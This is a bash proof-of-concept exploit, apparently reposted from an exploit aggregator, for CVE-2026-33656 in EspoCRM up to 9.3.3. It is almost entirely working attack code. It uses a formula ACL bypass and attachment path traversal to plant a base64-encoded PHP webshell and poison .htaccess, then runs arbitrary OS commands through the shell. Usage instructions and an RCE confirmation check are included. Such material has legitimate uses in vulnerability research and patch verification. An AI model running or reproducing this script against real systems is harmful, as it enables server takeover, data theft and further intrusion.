Share
## https://sploitus.com/exploit?id=PACKETSTORM:217859
#!/bin/bash
# ===========================================================================
# EspoCRM <= 9.3.3 CVE-2026-33656 โ Authenticated RCE via Formula ACL Bypass
# + Attachment sourceId Path Traversal + .htaccess Poisoning
#
# Author : Jiva (jivasecurity.com)
# Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656
# Product : EspoCRM <= 9.3.3
# Auth : Admin credentials required
# Impact : OS command execution
#
# Usage:
# ./poc.sh <base_url> <username> <password> [command]
#
# Example:
# ./poc.sh http://192.168.5.16:8090 admin admin id
# ===========================================================================
BASE="${1:-http://192.168.5.16:8090}"
USER="${2:-admin}"
PASS="${3:-admin}"
CMD="${4:-id}"
AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n')
AUTH="Espo-Authorization: $AUTH_B64"
# JSON id extractor โ prefers jq, falls back to grep+cut (no python3 needed)
extract_id() {
if command -v jq &>/dev/null; then
jq -r '.id'
else
grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4
fi
}
die() { echo "[-] FAIL at $1: $2" >&2; exit 1; }
echo "[*] Target : $BASE"
echo "[*] User : $USER"
# โโ Step 1: Create attachment (Document/file, .txt โ passes accept list) โโโโโโ
echo ""
echo "[1/6] Creating webshell attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
-H "$AUTH" -H "Content-Type: application/json" \
-d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}')
SHELL_ID=$(echo "$RESP" | extract_id)
[[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned โ response: $RESP"
echo " Attachment ID: $SHELL_ID"
# โโ Step 2: Formula sets sourceId โ ../../client/x (path traversal) โโโโโโโโโโ
echo "[2/6] Setting sourceId via formula (ACL bypass)..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
-H "$AUTH" -H "Content-Type: application/json" \
-d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed โ $RESP"
echo " sourceId โ ../../client/x"
# โโ Step 3: Chunk upload writes PHP webshell to client/x โโโโโโโโโโโโโโโโโโโโโ
echo "[3/6] Writing PHP webshell to client/x..."
# Payload: <?php system($_GET["c"]); ?>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \
-H "$AUTH" -H "Content-Type: application/octet-stream" \
--data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==")
echo " Response: $RESP"
# โโ Step 4: Create second attachment for .htaccess modification โโโโโโโโโโโโโโโ
echo "[4/6] Creating .htaccess attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
-H "$AUTH" -H "Content-Type: application/json" \
-d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}')
HT_ID=$(echo "$RESP" | extract_id)
[[ -n "$HT_ID" ]] || die "Step 4" "no id returned โ response: $RESP"
echo " Attachment ID: $HT_ID"
# โโ Step 5: Formula sets sourceId โ ../../.htaccess โโโโโโโโโโโโโโโโโโโโโโโโโโ
echo "[5/6] Redirecting to .htaccess via formula..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
-H "$AUTH" -H "Content-Type: application/json" \
-d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed โ $RESP"
echo " sourceId โ ../../.htaccess"
# โโ Step 6: Chunk upload appends PHP handler directive to .htaccess โโโโโโโโโโโ
echo "[6/6] Appending PHP handler directive to .htaccess..."
# Payload:
# <FilesMatch "^x$">
# SetHandler application/x-httpd-php
# </FilesMatch>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \
-H "$AUTH" -H "Content-Type: application/octet-stream" \
--data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=")
echo " Response: $RESP"
# โโ Execute โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
echo ""
echo "[*] Executing: $CMD"
echo " Webshell: $BASE/client/x?c=<cmd>"
echo ""
RESULT=$(curl -s "$BASE/client/x?c=$CMD")
echo "$RESULT"
echo ""
if echo "$RESULT" | grep -qE "uid=[0-9]+"; then
echo "[+] RCE CONFIRMED"
else
echo "[-] Webshell did not return expected output โ check manually:"
echo " curl -v '$BASE/client/x?c=id'"
fi